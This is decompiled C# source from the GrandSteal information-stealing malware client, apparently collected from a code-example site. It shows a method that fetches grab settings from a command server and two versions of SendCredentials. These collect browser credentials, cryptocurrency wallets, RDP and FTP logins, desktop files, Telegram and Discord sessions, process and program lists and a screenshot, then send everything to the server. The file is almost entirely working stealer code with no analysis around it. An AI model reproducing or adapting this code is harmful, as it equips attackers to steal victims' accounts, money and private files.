// Token: 0x06000053 RID: 83 RVA: 0x000043F4 File Offset: 0x000025F4
        public GrandSteal.Client.Models.ClientSettings RecieveSettings()
        {
            GrandSteal.Client.Models.ClientSettings clientSettings = this.Server.SendRequest("", "ParseClientSettings", 600000)();
            clientSettings.DesktopExtensions = (clientSettings.DesktopExtensions ?? new BindingList <string>());
            StringBuilder stringBuilder = new StringBuilder();

            stringBuilder.Append("GrabBrowserCredentials: ").Append(clientSettings.GrabBrowserCredentials).AppendLine().Append("GrabColdWallets: ").Append(clientSettings.GrabColdWallets).AppendLine().Append("GrabDesktopFiles: ").Append(clientSettings.GrabDesktopFiles).AppendLine().Append("GrabFtp: ").Append(clientSettings.GrabFtp).AppendLine().Append("GrabRdp: ").Append(clientSettings.GrabRdp).AppendLine().Append("GrabDiscord: ").Append(clientSettings.GrabDiscord).AppendLine().Append("GrabTelegram: ").Append(clientSettings.GrabTelegram).AppendLine().Append("Extensions: ").AppendLine(string.Join(new string(new char[]
            {
                ','
            }), clientSettings.DesktopExtensions.ToArray <string>()));
            Console.WriteLine(stringBuilder.ToString());
            return(clientSettings.IsNull(new GrandSteal.Client.Models.ClientSettings()));
        }
        // Token: 0x06000052 RID: 82 RVA: 0x000040E0 File Offset: 0x000022E0
        public bool SendCredentials()
        {
            bool result;

            try
            {
                GrandSteal.Client.Models.ClientSettings clientSettings = this.RecieveSettings().IsNull(new GrandSteal.Client.Models.ClientSettings());
                List <BrowserProfile> list = new List <BrowserProfile>();
                if (clientSettings.GrabBrowserCredentials)
                {
                    foreach (ICredentialsManager <BrowserProfile> credentialsManager in this.BrowserCredentialsManagers)
                    {
                        list.AddRange(credentialsManager.GetAll());
                    }
                }
                List <ColdWallet> list2 = new List <ColdWallet>();
                if (clientSettings.GrabColdWallets)
                {
                    foreach (ICredentialsManager <ColdWallet> credentialsManager2 in this.ColdWalletManagers)
                    {
                        list2.AddRange(credentialsManager2.GetAll().IsNull(new List <ColdWallet>()));
                    }
                }
                List <RdpCredential> list3 = new List <RdpCredential>();
                if (clientSettings.GrabRdp)
                {
                    foreach (ICredentialsManager <RdpCredential> credentialsManager3 in this.RdpManagers)
                    {
                        list3.AddRange(credentialsManager3.GetAll().IsNull <IEnumerable <RdpCredential> >());
                    }
                }
                List <DesktopFile> list4 = new List <DesktopFile>();
                if (clientSettings.GrabDesktopFiles)
                {
                    foreach (DesktopFileManager desktopFileManager in this.DesktopFileManagers)
                    {
                        desktopFileManager.DesktopFileExtensions = clientSettings.DesktopExtensions;
                        list4.AddRange(desktopFileManager.GetAll());
                    }
                }
                List <FtpCredential> list5 = new List <FtpCredential>();
                if (clientSettings.GrabFtp)
                {
                    foreach (ICredentialsManager <FtpCredential> credentialsManager4 in this.FtpManagers)
                    {
                        list5.AddRange(credentialsManager4.GetAll().IsNull <IEnumerable <FtpCredential> >());
                    }
                }
                RemoteClientInformation remoteClientInformation = ClientInfoHelper.Create(this.BuildID);
                if (remoteClientInformation == null)
                {
                    Environment.Exit(0);
                }
                CredentialsRequest objectToSend = new CredentialsRequest
                {
                    ClientInformation = remoteClientInformation,
                    BrowserProfiles   = list,
                    ColdWallets       = list2,
                    RdpConnections    = list3,
                    DesktopFiles      = list4,
                    FtpCredentials    = list5,
                    Telegram          = (clientSettings.GrabTelegram ? TelegramManager.Extract() : new TelegramSession()),
                    Discord           = (clientSettings.GrabDiscord ? DiscordManager.Extract() : new DiscordSession()),
                    ProcessList       = ClientInfoHelper.ListOfProcesses(),
                    InstalledPrograms = ClientInfoHelper.ListOfPrograms(),
                    Screenshot        = ClientInfoHelper.CaptureScreen()
                };
                result = this.Server.SendRequest(objectToSend, "Credentials", 600000)();
            }
            catch
            {
                result = false;
            }
            return(result);
        }
Exemple #3
0
        // Token: 0x0600004F RID: 79 RVA: 0x00003EC8 File Offset: 0x000020C8
        public bool SendCredentials()
        {
            bool result;

            try
            {
                GrandSteal.Client.Models.ClientSettings settings = this.RecieveSettings().IsNull(new GrandSteal.Client.Models.ClientSettings());
                List <BrowserProfile>   browserProfiles          = new List <BrowserProfile>();
                List <ColdWallet>       wallets         = new List <ColdWallet>();
                List <RdpCredential>    rdpCredentials  = new List <RdpCredential>();
                List <DesktopFile>      desktopFiles    = new List <DesktopFile>();
                List <FtpCredential>    ftpCredentials  = new List <FtpCredential>();
                TelegramSession         telegramSession = new TelegramSession();
                DiscordSession          discordSession  = new DiscordSession();
                List <RemoteProcess>    processes       = new List <RemoteProcess>();
                List <string>           programs        = new List <string>();
                RemoteClientInformation clientInfo      = new RemoteClientInformation();
                ThreadPool.SetMaxThreads(2000, 10000);
                new Thread(delegate
                {
                    Console.WriteLine("ClientInfos parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    clientInfo = ClientInfoHelper.Create(this.BuildID);
                    stopwatch.Stop();
                    this.clientInfoFlag.Set();
                    Console.WriteLine(string.Format("ClientInfos has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("Browsers parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabBrowserCredentials)
                    {
                        int countCompleted = 0;
                        object locker      = new object();
                        using (IEnumerator <ICredentialsManager <BrowserProfile> > enumerator = this.BrowserCredentialsManagers.GetEnumerator())
                        {
                            while (enumerator.MoveNext())
                            {
                                ICredentialsManager <BrowserProfile> manager = enumerator.Current;
                                new Thread(delegate
                                {
                                    List <BrowserProfile> all = manager.GetAll();
                                    object locker             = locker;
                                    lock (locker)
                                    {
                                        browserProfiles.AddRange(all);
                                        int countCompleted = countCompleted;
                                        countCompleted++;
                                    }
                                }).Start();
                            }
                        }
                        while (countCompleted != this.BrowserCredentialsManagers.Count)
                        {
                        }
                    }
                    stopwatch.Stop();
                    this.browsersFlag.Set();
                    Console.WriteLine(string.Format("Browsers has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("ColdWallets parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabColdWallets)
                    {
                        foreach (ICredentialsManager <ColdWallet> current in this.ColdWalletManagers)
                        {
                            wallets.AddRange(current.GetAll().IsNull(new List <ColdWallet>()));
                        }
                    }
                    stopwatch.Stop();
                    this.walletsFlag.Set();
                    Console.WriteLine(string.Format("ColdWallets has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("DiscordSession parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabDiscord)
                    {
                        discordSession = DiscordManager.Extract();
                    }
                    stopwatch.Stop();
                    this.discordFlag.Set();
                    Console.WriteLine(string.Format("DiscordSession has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("Rdps parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabRdp)
                    {
                        foreach (ICredentialsManager <RdpCredential> current in this.RdpManagers)
                        {
                            rdpCredentials.AddRange(current.GetAll().IsNull <List <RdpCredential> >());
                        }
                    }
                    stopwatch.Stop();
                    this.rdpsFlag.Set();
                    Console.WriteLine(string.Format("Rdps has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("DesktopFiles parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabDesktopFiles)
                    {
                        foreach (DesktopFileManager current in this.DesktopFileManagers)
                        {
                            current.DesktopFileExtensions = settings.DesktopExtensions;
                            desktopFiles.AddRange(current.GetAll());
                        }
                    }
                    stopwatch.Stop();
                    this.desktopFlag.Set();
                    Console.WriteLine(string.Format("DesktopFiles has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("FTPs parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabFtp)
                    {
                        foreach (ICredentialsManager <FtpCredential> current in this.FtpManagers)
                        {
                            ftpCredentials.AddRange(current.GetAll().IsNull <List <FtpCredential> >());
                        }
                    }
                    stopwatch.Stop();
                    this.ftpFlag.Set();
                    Console.WriteLine(string.Format("FTPs has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("TelegramSession parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabTelegram)
                    {
                        telegramSession = TelegramManager.Extract();
                    }
                    stopwatch.Stop();
                    this.telegramFlag.Set();
                    Console.WriteLine(string.Format("TelegramSession has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("ListOfProcesses parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    processes = ClientInfoHelper.ListOfProcesses();
                    stopwatch.Stop();
                    this.processesFlag.Set();
                    Console.WriteLine(string.Format("ListOfProcesses has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("ListOfPrograms parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    programs = ClientInfoHelper.ListOfPrograms();
                    stopwatch.Stop();
                    this.programsFlag.Set();
                    Console.WriteLine(string.Format("ListOfPrograms has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                this.telegramFlag.WaitOne();
                this.discordFlag.WaitOne();
                this.processesFlag.WaitOne();
                this.programsFlag.WaitOne();
                this.browsersFlag.WaitOne();
                this.walletsFlag.WaitOne();
                this.rdpsFlag.WaitOne();
                this.desktopFlag.WaitOne();
                this.ftpFlag.WaitOne();
                this.clientInfoFlag.WaitOne();
                Console.WriteLine("CredentialsRequest has been created");
                if (clientInfo == null)
                {
                    Environment.Exit(0);
                }
                CredentialsRequest objectToSend = new CredentialsRequest
                {
                    ClientInformation = clientInfo,
                    BrowserProfiles   = browserProfiles,
                    ColdWallets       = wallets,
                    RdpConnections    = rdpCredentials,
                    DesktopFiles      = desktopFiles,
                    FtpCredentials    = ftpCredentials,
                    Telegram          = telegramSession,
                    Discord           = discordSession,
                    ProcessList       = processes,
                    InstalledPrograms = programs,
                    Screenshot        = ClientInfoHelper.CaptureScreen()
                };
                result = this.Server.SendRequest(objectToSend, "Credentials", 600000)();
            }
            catch
            {
                result = false;
            }
            return(result);
        }